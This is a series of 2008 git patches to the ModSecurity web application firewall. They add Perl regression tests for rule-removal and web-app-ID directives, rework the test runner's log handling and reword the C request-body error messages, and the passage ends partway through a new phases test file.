@@ +### Tests for rule exceptions + +# SecRuleRemoveByMsg + +# SecRuleRemoveById +{ + type => "config", + comment => "SecRuleRemoveById (single)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule REQUEST_URI "test" "phase:1,deny,status:500,id:1" + SecRuleRemoveById 1 + ), + match_log => { + -error => [ qr/ModSecurity: /, 1 ], + -audit => [ qr/./, 1 ], + debug => [ qr/Starting phase REQUEST_HEADERS\..*This phase consists of 0 rule.*Starting phase RESPONSE_HEADERS\./s, 1 ], + -debug => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "config", + comment => "SecRuleRemoveById (multiple)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule REQUEST_URI "test" "phase:1,deny,status:500,id:1" + SecRule REQUEST_URI "test" "phase:1,deny,status:500,id:2" + SecRule REQUEST_URI "test" "phase:1,deny,status:500,id:3" + SecRuleRemoveById 1 2 3 + ), + match_log => { + -error => [ qr/ModSecurity: /, 1 ], + -audit => [ qr/./, 1 ], + debug => [ qr/Starting phase REQUEST_HEADERS\..*This phase consists of 0 rule.*Starting phase RESPONSE_HEADERS\./s, 1 ], + -debug => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "config", + comment => "SecRuleRemoveById (range)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule REQUEST_URI "test" "phase:1,deny,status:500,id:1" + SecRule REQUEST_URI "test" "phase:1,deny,status:500,id:2" + SecRule REQUEST_URI "test" "phase:1,deny,status:500,id:3" + SecRuleRemoveById 1-3 + ), + match_log => { + -error => [ qr/ModSecurity: /, 1 ], + -audit => [ qr/./, 1 ], + debug => [ qr/Starting phase REQUEST_HEADERS\..*This phase consists of 0 rule.*Starting phase RESPONSE_HEADERS\./s, 1 ], + -debug => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "config", + comment => "SecRuleRemoveById (multiple + range)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule REQUEST_URI "test" "phase:1,deny,status:500,id:1" + SecRule REQUEST_URI "test" "phase:1,deny,status:500,id:2" + SecRule REQUEST_URI "test" "phase:1,deny,status:500,id:3" + SecRule REQUEST_URI "test" "phase:1,deny,status:500,id:4" + SecRuleRemoveById 1 2-4 + ), + match_log => { + -error => [ qr/ModSecurity: /, 1 ], + -audit => [ qr/./, 1 ], + debug => [ qr/Starting phase REQUEST_HEADERS\..*This phase consists of 0 rule.*Starting phase RESPONSE_HEADERS\./s, 1 ], + -debug => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, + +# SecRuleRemoveByMsg +{ + type => "config", + comment => "SecRuleRemoveByMsg", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule REQUEST_URI "test" "phase:1,deny,status:500,id:1,msg:'testing rule'" + SecRuleRemoveByMsg "testing rule" + ), + match_log => { + -error => [ qr/ModSecurity: /, 1 ], + -audit => [ qr/./, 1 ], + debug => [ qr/Starting phase REQUEST_HEADERS\..*This phase consists of 0 rule.*Starting phase RESPONSE_HEADERS\./s, 1 ], + -debug => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, diff --git a/apache2/t/regression/server_root/conf/httpd.conf.in b/apache2/t/regression/server_root/conf/httpd.conf.in index 5be7a1da..7d45cdbf 100644 --- a/apache2/t/regression/server_root/conf/httpd.conf.in +++ b/apache2/t/regression/server_root/conf/httpd.conf.in @@ -1,8 +1,10 @@ ### Base configuration for starting Apache httpd -# File locations -PidFile @MSC_REGRESSION_LOGS_DIR@/httpd.pid -ScoreBoardFile @MSC_REGRESSION_LOGS_DIR@/httpd.scoreboard +<IfDefine !CHROOT> + # File locations + PidFile @MSC_REGRESSION_LOGS_DIR@/httpd.pid + ScoreBoardFile @MSC_REGRESSION_LOGS_DIR@/httpd.scoreboard +</IfDefine> <IfModule !mod_proxy.c> LoadModule proxy_module modules/mod_proxy.so @@ -24,9 +26,10 @@ ServerName localhost LogLevel debug ErrorLog @MSC_REGRESSION_LOGS_DIR@/error.log -DocumentRoot @MSC_REGRESSION_DOCROOT_DIR@ -<Directory "@MSC_REGRESSION_DOCROOT_DIR@"> - Options Indexes FollowSymLinks - AllowOverride None -</Directory> - +<IfDefine !CHROOT> + DocumentRoot @MSC_REGRESSION_DOCROOT_DIR@ + <Directory "@MSC_REGRESSION_DOCROOT_DIR@"> + Options Indexes FollowSymLinks + AllowOverride None + </Directory> +</IfDefine> diff --git a/apache2/t/run-regression-tests.pl.in b/apache2/t/run-regression-tests.pl.in index 3db0c92d..3a6b6674 100755 --- a/apache2/t/run-regression-tests.pl.in +++ b/apache2/t/run-regression-tests.pl.in @@ -26,14 +26,17 @@ my $SCRIPT = basename($0); my $SCRIPT_DIR = File::Spec->rel2abs(dirname($0)); my $REG_DIR = "$SCRIPT_DIR/regression"; my $SROOT_DIR = "$REG_DIR/server_root"; +my $DATA_DIR = "$SROOT_DIR/data"; +my $TEMP_DIR = "$SROOT_DIR/tmp"; +my $UPLOAD_DIR = "$SROOT_DIR/upload"; my $CONF_DIR = "$SROOT_DIR/conf"; -my $LOGS_DIR = "$SROOT_DIR/logs"; -my $PID_FILE = "$LOGS_DIR/httpd.pid"; +my $FILES_DIR = "$SROOT_DIR/logs"; +my $PID_FILE = "$FILES_DIR/httpd.pid"; my $HTTPD = q(@APXS_HTTPD@); my $PASSED = 0; my $TOTAL = 0; my %C = (); -my %LOG = (); +my %FILE = (); my $UA_NAME = "ModSecurity Regression Tests/1.2.3"; my $UA = LWP::UserAgent->new; $UA->agent($UA_NAME); @@ -89,9 +92,9 @@ else { usage("Invalid Apache startup script: $HTTPD\n") unless (-e $HTTPD); ### Defaults -$opt{A} = "$LOGS_DIR/modsec_audit.log" unless (defined $opt{A}); -$opt{D} = "$LOGS_DIR/modsec_debug.log" unless (defined $opt{D}); -$opt{E} = "$LOGS_DIR/error.log" unless (defined $opt{E}); +$opt{A} = "$FILES_DIR/modsec_audit.log" unless (defined $opt{A}); +$opt{D} = "$FILES_DIR/modsec_debug.log" unless (defined $opt{D}); +$opt{E} = "$FILES_DIR/error.log" unless (defined $opt{E}); $opt{C} = "$CONF_DIR/httpd.conf" unless (defined $opt{C}); $opt{H} = "$SROOT_DIR/htdocs" unless (defined $opt{H}); $opt{p} = 8088 unless (defined $opt{p}); @@ -107,8 +110,11 @@ unless (defined $opt{S}) { SERVER_PORT => $opt{p}, SERVER_NAME => "localhost", TEST_SERVER_ROOT => $SROOT_DIR, + DATA_DIR => $DATA_DIR, + TEMP_DIR => $TEMP_DIR, + UPLOAD_DIR => $UPLOAD_DIR, CONF_DIR => $CONF_DIR, - LOGS_DIR => $LOGS_DIR, + LOGS_DIR => $FILES_DIR, SCRIPT_DIR => $SCRIPT_DIR, REGRESSION_DIR => $REG_DIR, DIST_ROOT => File::Spec->rel2abs(dirname("$SCRIPT_DIR/../../..")), @@ -120,7 +126,7 @@ unless (defined $opt{S}) { USER_AGENT => $UA_NAME, ); -dbg("OPTIONS: ", \%opt); +#dbg("OPTIONS: ", \%opt); if (-e "$PID_FILE") { msg("Shutting down previous instance: $PID_FILE"); @@ -193,10 +199,10 @@ sub runfile { print CONF (ref $t{conf} eq "CODE" ? eval { &{$t{conf}} } : $t{conf}); msg("$@") if ($@); close CONF; - $httpd_up = httpd_start("Include $conf_fn") ? 0 : 1; + $httpd_up = httpd_start(\%t, "Include $conf_fn") ? 0 : 1; } else { - $httpd_up = httpd_start() ? 0 : 1; + $httpd_up = httpd_start(\%t) ? 0 : 1; } # Run any prerun setup @@ -229,7 +235,7 @@ sub runfile { } elsif (!$neg and !defined $match) { $rc = 1; - msg("response $mtype no match: $m"); + msg("response $mtype failed to match: $m"); dbg($resp); last; } @@ -239,13 +245,13 @@ sub runfile { # Run any arbitrary perl tests if ($rc == 0 and exists $t{test} and defined $t{test}) { - dbg("Executing perl test(s)..."); + #dbg("Executing perl test(s)..."); $rc = eval { &{$t{test}} }; if (! defined $rc) { msg("Error running test: $@"); $rc = -1; } - dbg("Perl tests returned: $rc"); + #dbg("Perl tests returned: $rc"); } # Search for all log matches @@ -257,14 +263,36 @@ sub runfile { if ($neg and defined $match) { $rc = 1; msg("$mtype log matched: $m->[0]"); - dbg("$LOG{$mtype}{buf}"); - + msg("Log: $FILE{$mtype}{fn}"); + dbg(escape("$FILE{$mtype}{buf}")); last; } elsif (!$neg and !defined $match) { $rc = 1; - msg("$mtype log no match: $m->[0]"); - dbg("$LOG{$mtype}{buf}"); + msg("$mtype log failed to match: $m->[0]"); + msg("Log: $FILE{$mtype}{fn}"); + dbg(escape("$FILE{$mtype}{buf}")); + last; + } + } + } + + # Search for all file matches + if ($rc == 0 and exists $t{match_file} and defined $t{match_file}) { + for my $key (keys %{ $t{match_file} || {}}) { + my($neg,$fn) = ($key =~ m/^(-?)(.*)$/); + my $m = $t{match_file}{$key}; + my $match = match_file($fn, $m); + if ($neg and defined $match) { + $rc = 1; + msg("$fn file matched: $m"); + dbg(escape("$FILE{$fn}{buf}")); + last; + } + elsif (!$neg and !defined $match) { + $rc = 1; + msg("$fn file failed match: $m"); + dbg(escape("$FILE{$fn}{buf}")); last; } } @@ -285,7 +313,7 @@ sub runfile { msg(sprintf("%s) %s%s: %s%s", $id, $t{type}, (exists($t{comment}) ? " - $t{comment}" : ""), ($rc ? "failed" : "passed"), ((defined($out) && $out ne "")? " ($out)" : ""))); if ($httpd_up) { - $httpd_up = httpd_stop() ? 0 : 1; + $httpd_up = httpd_stop(\%t) ? 0 : 1; } } @@ -362,7 +390,7 @@ sub match_response { sub match_log { my($name, $re, $timeout) = @_; my $t0 = gettimeofday; - my($fh,$rbuf) = ($LOG{$name}{fd}, \$LOG{$name}{buf}); + my($fh,$rbuf) = ($FILE{$name}{fd}, \$FILE{$name}{buf}); my $n = length($$rbuf); msg("Warning: Empty regular expression.") if (!defined $re or $re eq ""); @@ -380,10 +408,29 @@ sub match_log { return; } +sub match_file { + my($neg,$fn) = ($_[0] =~ m/^(-?)(.*)$/); + unless (exists $FILE{$fn}) { + $FILE{$fn}{fn} = $fn; + $FILE{$fn}{fd} = new FileHandle($fn, O_RDWR|O_CREAT); + $FILE{$fn}{fd}->blocking(0); + $FILE{$fn}{buf} = ""; + } + return match_log($_[0], $_[1]); # timeout makes no sense +} + +sub quote_shell { + my($s) = @_; + return $s unless ($s =~ m|[^\w!%+,\-./:@^]|); + $s =~ s/(['\\])/\\$1/g; + return "'$s'"; +} + sub escape { my @new = (); for my $c (split(//, $_[0])) { - push @new, ((ord($c) >= 0x20 and ord($c) <= 0x7e) ? $c : sprintf("\\x%02x", ord($c))); + my $oc = ord($c); + push @new, ((($oc >= 0x20 and $oc <= 0x7e) or $oc == 0x0a or $oc == 0x0d) ? $c : sprintf("\\x%02x", ord($c))); } join('', @new); } @@ -432,7 +479,8 @@ sub done { } sub httpd_start { - httpd_reset_logs(); + my $t = shift; + httpd_reset_fd($t); my @p = ( $HTTPD, -d => $opt{S}, @@ -441,9 +489,6 @@ sub httpd_start { -k => "start", ); -# dbg("EXEC: ", \@p); -# dbg("Httpd start"); - my $httpd_out; my $httpd_pid = open3(undef, $httpd_out, undef, @p) or quit(1); my $out = join("\\n", split(/\n/, <$httpd_out>)); @@ -453,7 +498,7 @@ sub httpd_start { my $rc = $?; if ( WIFEXITED($rc) ) { $rc = WEXITSTATUS($rc); -# dbg("Httpd start returned with $rc."); + dbg("Httpd start returned with $rc.") if ($rc); } elsif( WIFSIGNALED($rc) ) { msg("Httpd start failed with signal " . WTERMSIG($rc) . "."); @@ -465,20 +510,24 @@ sub httpd_start { } if (defined $out and $out ne "") { + dbg(join(" ", map { quote_shell($_) } @p)); msg("Httpd start failed with error messages:\n$out"); return -1 } # Look for startup msg unless (defined match_log("error", qr/resuming normal operations/, 10)) { - quit(1, "Httpd server failed to start."); + dbg(join(" ", map { quote_shell($_) } @p)); + dbg(match_log("error", qr/(^.*ModSecurity: .*)/sm, 10)); + msg("Httpd server failed to start."); + return -1; } return $rc; } sub httpd_stop { - httpd_reset_logs(); + my $t = shift; my @p = ( $HTTPD, -d => $opt{S}, @@ -487,9 +536,6 @@ sub httpd_stop { -k => "stop", ); - #dbg("EXEC: ", \@p); -# dbg("Httpd stop"); - my $httpd_out; my $httpd_pid = open3(undef, $httpd_out, undef, @p) or quit(1); my $out = join("\\n", split(/\n/, <$httpd_out>)); @@ -504,7 +550,7 @@ sub httpd_stop { my $rc = $?; if ( WIFEXITED($rc) ) { $rc = WEXITSTATUS($rc); -# dbg("Httpd stop returned with $rc."); + dbg("Httpd stop returned with $rc.") if ($rc); } elsif( WIFSIGNALED($rc) ) { msg("Httpd stop failed with signal " . WTERMSIG($rc) . "."); @@ -517,14 +563,17 @@ sub httpd_stop { # Look for startup msg unless (defined match_log("error", qr/caught SIG[A-Z]+, shutting down/, 10)) { - quit(1, "Httpd server failed to shutdown."); + dbg(join(" ", map { quote_shell($_) } @p)); + msg("Httpd server failed to shutdown."); + return -1; } return $rc; } sub httpd_reload { - httpd_reset_logs(); + my $t = shift; + httpd_reset_fd($t); my @p = ( $HTTPD, -d => $opt{S}, @@ -533,9 +582,6 @@ sub httpd_reload { -k => "graceful", ); -# dbg("EXEC: ", join(' ', map { "'$_'" } @p)); -# dbg("Httpd reload"); - my $httpd_out; my $httpd_pid = open3(undef, $httpd_out, undef, @p) or quit(1); my $out = join("\\n", split(/\n/, <$httpd_out>)); @@ -550,7 +596,7 @@ sub httpd_reload { my $rc = $?; if ( WIFEXITED($rc) ) { $rc = WEXITSTATUS($rc); -# dbg("Httpd reload returned with $rc."); + dbg("Httpd reload returned with $rc.") if ($rc); } elsif( WIFSIGNALED($rc) ) { msg("Httpd reload failed with signal " . WTERMSIG($rc) . "."); @@ -563,36 +609,74 @@ sub httpd_reload { # Look for startup msg unless (defined match_log("error", qr/resuming normal operations/, 10)) { - quit(1, "Httpd server failed to reload."); + dbg(join(" ", map { quote_shell($_) } @p)); + msg("Httpd server failed to reload."); + return -1; } return $rc; } -sub httpd_reset_logs { - # Error - if (!defined $LOG{error}{fd}) { - $LOG{error}{fd} = new FileHandle($opt{E}, O_RDWR|O_CREAT) +sub httpd_reset_fd { + my($t) = @_; + + # Cleanup + for my $key (keys %FILE) { + if (exists $FILE{$key}{fd} and defined $FILE{$key}{fd}) { + $FILE{$key}{fd}->close(); + } + delete $FILE{$key}; } - $LOG{error}{fd}->blocking(0); - $LOG{error}{fd}->sysseek(0, 2); - $LOG{error}{buf} = ""; + + # Error + $FILE{error}{fn} = $opt{E}; + $FILE{error}{fd} = new FileHandle($opt{E}, O_RDWR|O_CREAT); + $FILE{error}{fd}->blocking(0); + $FILE{error}{fd}->sysseek(0, 2); + $FILE{error}{buf} = ""; # Audit - if (!defined $LOG{audit}{fd}) { - $LOG{audit}{fd} = new FileHandle($opt{A}, O_RDWR|O_CREAT); - } - $LOG{audit}{fd}->blocking(0); - $LOG{audit}{fd}->sysseek(0, 2); - $LOG{audit}{buf} = ""; + $FILE{audit}{fn} = $opt{A}; + $FILE{audit}{fd} = new FileHandle($opt{A}, O_RDWR|O_CREAT); + $FILE{audit}{fd}->blocking(0); + $FILE{audit}{fd}->sysseek(0, 2); + $FILE{audit}{buf} = ""; # Debug - if (!defined $LOG{debug}{fd}) { - $LOG{debug}{fd} = new FileHandle($opt{D}, O_RDWR|O_CREAT); + $FILE{debug}{fn} = $opt{D}; + $FILE{debug}{fd} = new FileHandle($opt{D}, O_RDWR|O_CREAT); + $FILE{debug}{fd}->blocking(0); + $FILE{debug}{fd}->sysseek(0, 2); + $FILE{debug}{buf} = ""; + + # Any extras listed in "match_log" + if ($t and exists $t->{match_log}) { + for my $k (keys %{ $t->{match_log} || {} }) { + my($neg,$fn) = ($k =~ m/^(-?)(.*)$/); + next if (!$fn or exists $FILE{$fn}); + #dbg("Opening additional log: $fn"); + $FILE{$fn}{fn} = $fn; + $FILE{$fn}{fd} = new FileHandle($fn, O_RDWR|O_CREAT); + $FILE{$fn}{fd}->blocking(0); + $FILE{$fn}{fd}->sysseek(0, 2); + $FILE{$fn}{buf} = ""; + + } + } + + # Any extras listed in "match_file" + if ($t and exists $t->{match_file}) { + for my $k (keys %{ $t->{match_file} || {} }) { + my($neg,$fn) = ($k =~ m/^(-?)(.*)$/); + next if (!$fn or exists $FILE{$fn}); + #dbg("Opening file: $fn"); + $FILE{$fn}{fn} = $fn; + $FILE{$fn}{fd} = new FileHandle($fn, O_RDWR|O_CREAT); + $FILE{$fn}{fd}->blocking(0); + $FILE{$fn}{buf} = ""; + + } } - $LOG{debug}{fd}->blocking(0); - $LOG{debug}{fd}->sysseek(0, 2); - $LOG{debug}{buf} = ""; } sub encode_chunked { From c8e35797fd3695cc1aefc0fbf3c12c6dcfa0f27f Mon Sep 17 00:00:00 2001 From: ivanr <ivanr@9017d574-64ec-4062-9424-5e00b32a252b> Date: Fri, 30 May 2008 12:13:27 +0000 Subject: [PATCH 037/110] Improve request body processing error messages (#504). --- apache2/msc_reqbody.c | 59 +++++++++++++++++++++++++------------------ 1 file changed, 35 insertions(+), 24 deletions(-) diff --git a/apache2/msc_reqbody.c b/apache2/msc_reqbody.c index f907237b..c88dde9e 100644 --- a/apache2/msc_reqbody.c +++ b/apache2/msc_reqbody.c @@ -72,19 +72,19 @@ apr_status_t modsecurity_request_body_start(modsec_rec *msr, char **error_msg) { if (strcmp(msr->msc_reqbody_processor, "MULTIPART") == 0) { if (multipart_init(msr, &my_error_msg) < 0) { - *error_msg = apr_psprintf(msr->mp, "Multipart parser init failed: %s", my_error_msg); + *error_msg = apr_psprintf(msr->mp, "Multipart parsing error (init): %s", my_error_msg); msr->msc_reqbody_error = 1; msr->msc_reqbody_error_msg = my_error_msg; - msr_log(msr, 2, "Multipart parser init failed: %s", my_error_msg); + msr_log(msr, 2, "%s", *error_msg); } } else if (strcmp(msr->msc_reqbody_processor, "XML") == 0) { if (xml_init(msr, &my_error_msg) < 0) { - *error_msg = apr_psprintf(msr->mp, "XML parser init failed: %s", my_error_msg); + *error_msg = apr_psprintf(msr->mp, "XML parsing error (init): %s", my_error_msg); msr->msc_reqbody_error = 1; msr->msc_reqbody_error_msg = my_error_msg; - msr_log(msr, 2, "Multipart parser init failed: %s", my_error_msg); + msr_log(msr, 2, "%s", *error_msg); } } else @@ -92,7 +92,8 @@ apr_status_t modsecurity_request_body_start(modsec_rec *msr, char **error_msg) { /* Do nothing, URLENCODED processor does not support streaming yet. */ } else { - *error_msg = apr_psprintf(msr->mp, "Unknown request body processor: %s", msr->msc_reqbody_processor); + *error_msg = apr_psprintf(msr->mp, "Unknown request body processor: %s", + msr->msc_reqbody_processor); return -1; } } @@ -112,7 +113,8 @@ static apr_status_t modsecurity_request_body_store_disk(modsec_rec *msr, i = write(msr->msc_reqbody_fd, data, length); if (i != length) { - *error_msg = apr_psprintf(msr->mp, "Input filter: Failed writing %" APR_SIZE_T_FMT " bytes to temporary file (rc %" APR_SIZE_T_FMT ").", length, i); + *error_msg = apr_psprintf(msr->mp, "Input filter: Failed writing %" APR_SIZE_T_FMT + " bytes to temporary file (rc %" APR_SIZE_T_FMT ").", length, i); return -1; } @@ -196,13 +198,15 @@ static apr_status_t modsecurity_request_body_store_memory(modsec_rec *msr, msr->msc_reqbody_chunk_current = (msc_data_chunk *) apr_pcalloc(msr->msc_reqbody_mp, sizeof(msc_data_chunk)); if (msr->msc_reqbody_chunk_current == NULL) { - *error_msg = apr_psprintf(msr->mp, "Input filter: Failed to allocate %lu bytes for request body chunk.", (unsigned long)sizeof(msc_data_chunk)); + *error_msg = apr_psprintf(msr->mp, "Input filter: Failed to allocate %lu bytes " + "for request body chunk.", (unsigned long)sizeof(msc_data_chunk)); return -1; } msr->msc_reqbody_chunk_current->data = malloc(CHUNK_CAPACITY); if (msr->msc_reqbody_chunk_current->data == NULL) { - *error_msg = apr_psprintf(msr->mp, "Input filter: Failed to allocate %d bytes for request body chunk data.", CHUNK_CAPACITY); + *error_msg = apr_psprintf(msr->mp, "Input filter: Failed to allocate %d bytes " + "for request body chunk data.", CHUNK_CAPACITY); return -1; } @@ -266,10 +270,10 @@ apr_status_t modsecurity_request_body_store(modsec_rec *msr, /* Process data as multipart/form-data. */ if (multipart_process_chunk(msr, data, length, &my_error_msg) < 0) { - *error_msg = apr_psprintf(msr->mp, "Request body processor error: %s", my_error_msg); + *error_msg = apr_psprintf(msr->mp, "Multipart parsing error: %s", my_error_msg); msr->msc_reqbody_error = 1; - msr->msc_reqbody_error_msg = my_error_msg; - msr_log(msr, 2, "Request body processor error: %s", my_error_msg); + msr->msc_reqbody_error_msg = *error_msg; + msr_log(msr, 2, "%s", *error_msg); } } else @@ -279,10 +283,10 @@ apr_status_t modsecurity_request_body_store(modsec_rec *msr, /* Process data as XML. */ if (xml_process_chunk(msr, data, length, &my_error_msg) < 0) { - *error_msg = apr_psprintf(msr->mp, "Request body processor error: %s", my_error_msg); + *error_msg = apr_psprintf(msr->mp, "XML parsing error: %s", my_error_msg); msr->msc_reqbody_error = 1; - msr->msc_reqbody_error_msg = my_error_msg; - msr_log(msr, 2, "Request body processor error: %s", my_error_msg); + msr->msc_reqbody_error_msg = *error_msg; + msr_log(msr, 2, "%s", *error_msg); } } else @@ -333,7 +337,8 @@ static apr_status_t modsecurity_request_body_end_urlencoded(modsec_rec *msr, cha /* Allocate a buffer large enough to hold the request body. */ if (msr->msc_reqbody_length + 1 == 0) { - *error_msg = apr_psprintf(msr->mp, "Internal error, request body length will overflow: %u", msr->msc_reqbody_length); + *error_msg = apr_psprintf(msr->mp, "Internal error, request body length will overflow: %u", + msr->msc_reqbody_length); return -1; } msr->msc_reqbody_buffer = malloc(msr->msc_reqbody_length + 1); @@ -416,16 +421,18 @@ apr_status_t modsecurity_request_body_end(modsec_rec *msr, char **error_msg) { if (strcmp(msr->msc_reqbody_processor, "MULTIPART") == 0) { if (multipart_complete(msr, &my_error_msg) < 0) { - *error_msg = apr_psprintf(msr->mp, "Multipart error: %s", my_error_msg); + *error_msg = apr_psprintf(msr->mp, "Multipart parsing error: %s", my_error_msg); msr->msc_reqbody_error = 1; - msr->msc_reqbody_error_msg = my_error_msg; + msr->msc_reqbody_error_msg = *error_msg; + msr_log(msr, 2, "%s", *error_msg); return -1; } if (multipart_get_arguments(msr, "BODY", msr->arguments) < 0) { - *error_msg = apr_psprintf(msr->mp, "Multipart error: %s", my_error_msg); + *error_msg = "Multipart parsing error: Failed to retrieve arguments."; msr->msc_reqbody_error = 1; - msr->msc_reqbody_error_msg = "Error retrieving arguments."; + msr->msc_reqbody_error_msg = *error_msg; + msr_log(msr, 2, "%s", *error_msg); return -1; } } @@ -436,9 +443,10 @@ apr_status_t modsecurity_request_body_end(modsec_rec *msr, char **error_msg) { else if (strcmp(msr->msc_reqbody_processor, "XML") == 0) { if (xml_complete(msr, &my_error_msg) < 0) { + *error_msg = apr_psprintf(msr->mp, "XML parser error: %s", my_error_msg); msr->msc_reqbody_error = 1; - msr->msc_reqbody_error_msg = my_error_msg; - msr_log(msr, 4, "%s", my_error_msg); + msr->msc_reqbody_error_msg = *error_msg; + msr_log(msr, 2, "%s", *error_msg); return -1; } } @@ -462,7 +470,8 @@ apr_status_t modsecurity_request_body_retrieve_start(modsec_rec *msr, char **err msr->msc_reqbody_disk_chunk = apr_pcalloc(msr->msc_reqbody_mp, sizeof(msc_data_chunk)); if (msr->msc_reqbody_disk_chunk == NULL) { - *error_msg = apr_psprintf(msr->mp, "Failed to allocate %lu bytes for request body disk chunk.", (unsigned long)sizeof(msc_data_chunk)); + *error_msg = apr_psprintf(msr->mp, "Failed to allocate %lu bytes for request body disk chunk.", + (unsigned long)sizeof(msc_data_chunk)); return -1; } msr->msc_reqbody_disk_chunk->is_permanent = 1; @@ -471,14 +480,16 @@ apr_status_t modsecurity_request_body_retrieve_start(modsec_rec *msr, char **err if (msr->msc_reqbody_storage == MSC_REQBODY_DISK) { msr->msc_reqbody_disk_chunk = apr_pcalloc(msr->msc_reqbody_mp, sizeof(msc_data_chunk)); if (msr->msc_reqbody_disk_chunk == NULL) { - *error_msg = apr_psprintf(msr->mp, "Failed to allocate %lu bytes for request body disk chunk.", (unsigned long)sizeof(msc_data_chunk)); + *error_msg = apr_psprintf(msr->mp, "Failed to allocate %lu bytes for request body disk chunk.", + (unsigned long)sizeof(msc_data_chunk)); return -1; } msr->msc_reqbody_disk_chunk->is_permanent = 0; msr->msc_reqbody_disk_chunk->data = apr_palloc(msr->msc_reqbody_mp, CHUNK_CAPACITY); if (msr->msc_reqbody_disk_chunk->data == NULL) { - *error_msg = apr_psprintf(msr->mp, "Failed to allocate %d bytes for request body disk chunk data.", CHUNK_CAPACITY); + *error_msg = apr_psprintf(msr->mp, "Failed to allocate %d bytes for request body disk chunk data.", + CHUNK_CAPACITY); return -1; } From 81145fe2b9ee5bb492dae2c443c13227e6b9b20e Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Fri, 30 May 2008 15:26:44 +0000 Subject: [PATCH 038/110] (Changeset Tracker. See #1234.) --- apache2/t/regression/action/00-meta.t | 8 + apache2/t/regression/action/00-misc.t | 25 + .../t/regression/action/00-transformations.t | 8 + .../t/regression/config/10-misc-directives.t | 27 +- apache2/t/regression/rule/10-phases.t | 149 ++++++ apache2/t/regression/target/00-targets.t | 443 ++++++++++++++++++ apache2/t/run-regression-tests.pl.in | 16 +- 7 files changed, 660 insertions(+), 16 deletions(-) create mode 100644 apache2/t/regression/action/00-meta.t create mode 100644 apache2/t/regression/action/00-misc.t create mode 100644 apache2/t/regression/action/00-transformations.t create mode 100644 apache2/t/regression/rule/10-phases.t create mode 100644 apache2/t/regression/target/00-targets.t diff --git a/apache2/t/regression/action/00-meta.t b/apache2/t/regression/action/00-meta.t new file mode 100644 index 00000000..9e7b92a8 --- /dev/null +++ b/apache2/t/regression/action/00-meta.t @@ -0,0 +1,8 @@ +### Test meta actions + +# TODO: id +# TODO: logdata +# TODO: msg +# TODO: rev +# TODO: severity +# TODO: tag diff --git a/apache2/t/regression/action/00-misc.t b/apache2/t/regression/action/00-misc.t new file mode 100644 index 00000000..34d3d715 --- /dev/null +++ b/apache2/t/regression/action/00-misc.t @@ -0,0 +1,25 @@ +### Test misc actions + +# TODO: append +# TODO: block +# TODO: capture +# TODO: chain +# TODO: ctl +# TODO: deprecatevar +# TODO: exec +# TODO: expirevar +# TODO: initcol +# TODO: multiMatch +# TODO: pause +# TODO: prepend +# TODO: sanitiseArg +# TODO: sanitiseMatched +# TODO: sanitiseRequestHeader +# TODO: sanitiseResponseHeader +# TODO: setuid +# TODO: setsid +# TODO: setenv +# TODO: setvar +# TODO: skip +# TODO: skipAfter +# TODO: xmlns diff --git a/apache2/t/regression/action/00-transformations.t b/apache2/t/regression/action/00-transformations.t new file mode 100644 index 00000000..e8f7bb2b --- /dev/null +++ b/apache2/t/regression/action/00-transformations.t @@ -0,0 +1,8 @@ +### Transformation tests + +# NOTE: individual tests done in unit tests + +# TODO: t:none to override default +# TODO: t:none inline +# TODO: combined +# TODO: caching diff --git a/apache2/t/regression/config/10-misc-directives.t b/apache2/t/regression/config/10-misc-directives.t index 2d20e033..7968785e 100644 --- a/apache2/t/regression/config/10-misc-directives.t +++ b/apache2/t/regression/config/10-misc-directives.t @@ -3,7 +3,6 @@ ### TODO: # SecTmpDir # SecUploadKeepFiles -# SecWebAppId # SecChrootDir # SecGuardianLog @@ -121,3 +120,29 @@ Upload File ), }, +# SecWebAppId +{ + type => "config", + comment => "SecWebAppId", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 4 + SecAuditLog "$ENV{AUDIT_LOG}" + SecAuditEngine RelevantOnly + SecWebAppId "app-1" + SecAction "pass,log,auditlog,id:1" + ), + match_log => { + error => [ qr/Warning\. Unconditional match in SecAction\./, 1 ], + debug => [ qr/Warning\. Unconditional match in SecAction\./, 1 ], + audit => [ qr/^WebApp-Info: "app-1"/m, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, diff --git a/apache2/t/regression/rule/10-phases.t b/apache2/t/regression/rule/10-phases.t new file mode 100644 index 00000000..8526bdb8 --- /dev/null +++ b/apache2/t/regression/rule/10-phases.t @@ -0,0 +1,149 @@ +### Test the phases + +# Phase 1 (request headers) +{ + type => "rule", + comment => "phase 1", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecRule REQUEST_LINE "^POST" "phase:1,pass,log,auditlog" + SecRule ARGS "val1" "phase:1,pass,log,auditlog" + 